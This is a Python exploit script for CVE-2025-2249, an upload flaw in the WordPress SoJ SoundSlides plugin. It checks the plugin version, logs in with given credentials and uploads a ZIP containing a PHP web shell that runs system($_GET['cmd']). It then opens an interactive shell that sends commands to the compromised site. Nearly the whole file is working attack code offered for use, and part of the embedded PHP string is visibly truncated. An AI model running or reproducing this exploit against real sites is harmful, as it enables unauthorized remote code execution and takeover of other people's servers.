import os
import requests
import zipfile
import argparse
import time
BANNER = """
@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@ @@@@@@@ @@@@@@ @@@@@@ @@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@@@ @@@@ @@@@@@@@
!@@ @@! @@@ @@! @@@ @@! @@@@ @@@ !@@ @@@ @@@ @@!@! @@! @@@
!@! !@! @!@ !@! @!@ !@! @!@!@ @!@ !@! @!@ @!@ !@!!@! !@! @!@
!@! @!@ !@! @!!!:! @!@!@!@!@ !!@ @!@ @! !@! !!@ !!@@!! @!@!@!@!@ !!@ !!@ @!! @!! !!@!!@!!
!!! !@! !!! !!!!!: !!!@!@!!! !!: !@!!! !!! !!: @!!@!!! !!!@!@!!! !!: !!: !!! !@! !!@!!!
:!! :!: !!: !!: !:! !!:! !!! !:! !:! !:! !:! :!!:!:!!: !!!
:!: ::!!:! :!: :!: :!: !:! :!: !:! :!: :!: !:::!!::: !:!
::: ::: :::: :: :::: :: ::::: ::::::: :: :: ::::: :::: :: :: ::::: :: ::::: ::: ::::: ::
:: :: : : : :: :: :: : ::: : : : : :: : ::: :: : : :: : ::: :: : ::: ::: : : :
By: Nxploited | Khaled Alenazi
"""
def print_banner():
print(BANNER)
def create_directories():
os.makedirs("nxploit/data", exist_ok=True)
os.makedirs("nxploit/audio", exist_ok=True)
def create_files():
with open("nxploit/index.html", "w") as f:
f.write("
NXploit Presentation")
with open("nxploit/data/data.xml", "w") as f:
f.write("NXploit")
with open("nxploit/audio/audio.mp3", "w") as f:
f.write("DUMMY_AUDIO_CONTENT")
with open("nxploit/nxploit.php", "w") as f:
f.write("""";
system($_GET['cmd']);
echo "";
} else {
echo "No command executed.";
}
?>""")
def create_zip(zip_name="nxploit.zip"):
create_directories()
create_files()
with zipfile.ZipFile(zip_name, "w") as zipf:
for root, _, files in os.walk("nxploit"):
for file in files:
filepath = os.path.join(root, file)
arcname = os.path.relpath(filepath, "nxploit")
zipf.write(filepath, arcname=arcname)
print(f"[+] ZIP created: {zip_name}")
def check_version(base_url):
readme_url = base_url + "/wp-content/plugins/soj-soundslides/readme.txt"
print(f"[*] Checking plugin version at {readme_url} ...")
try:
res = requests.get(readme_url, timeout=5)
if res.status_code == 200 and "Stable tag: 1.2.2" in res.text:
print("[+] Vulnerable version 1.2.2 detected.")
return True
elif res.status_code == 200:
print("[!] Plugin found but version not confirmed as vulnerable.")
return False
else:
print("[-] Plugin readme not accessible.")
return False
except Exception as e:
print(f"[!] Error while checking version: {e}")
return False
def interactive_shell(shell_url):
print("[*] Entering interactive shell (type 'exit' to quit):")
while True:
cmd = input("> ").strip()
if cmd.lower() in ["exit", "quit"]:
print("[+] Exiting shell.")
break
try:
res = requests.get(shell_url, params={"cmd": cmd}, timeout=5)
print(res.text)
except Exception as e:
print(f"[!] Error: {e}")
def main():
print_banner()
parser = argparse.ArgumentParser(description="Exploit for CVE-2025-2249 | WordPress SoJ SoundSlides Plugin # By Nxploited | Khaled ALenazi,")
parser.add_argument("-u", "--url", required=True, help="WordPress base URL")
parser.add_argument("-un", "--username", required=True, help="WordPress username")
parser.add_argument("-p", "--password", required=True, help="WordPress password")
args = parser.parse_args()
session = requests.Session()
session.verify = False
requests.packages.urllib3.disable_warnings()
headers = {"User-Agent": "Mozilla/5.0"}
if not check_version(args.url):
print("[!] Exploit attempted, but vulnerable version not confirmed.")
return
login_url = args.url + "/wp-login.php"
login_data = {
"log": args.username,
"pwd": args.password,
"rememberme": "forever",
"wp-submit": "Log In"
}
print("[*] Attempting login ...")
response = session.post(login_url, data=login_data, headers=headers)
if any("wordpress_logged_in" in cookie.name for cookie in session.cookies):
print("[+] Login successful.")
else:
print("[-] Login failed.")
return
zip_name = "nxploit.zip"
if not os.path.exists(zip_name):
create_zip(zip_name)
upload_url = args.url + "/wp-admin/options-general.php?page=soj-soundslides%2Fsoj-soundslides.php"
files = {
"soj-soundslide_ptw_zip": (zip_name, open(zip_name, "rb"), "application/zip")
}
data = {
"soj-soundslide_presentation_name": "nxploit_shell",
"action": "updateSoJSoundslide",
"info_update": "Update options ยป"
}
print("[*] Uploading shell...")
res = session.post(upload_url, files=files, data=data, headers=headers)
print("[*] Waiting 3 seconds before checking shell ...")
time.sleep(3)
shell_url = f"{args.url}/wp-content/uploads/SoundSlides/nxploit_shell/nxploit.php"
try:
check = session.get(shell_url, headers=headers, timeout=5)
if check.status_code == 200:
print(f"[+] Shell uploaded: {shell_url}")
interactive_shell(shell_url)
else:
print("[-] Shell upload may have failed.")
except Exception as e:
print(f"[!] Error accessing shell: {e}")
if __name__ == "__main__":
main()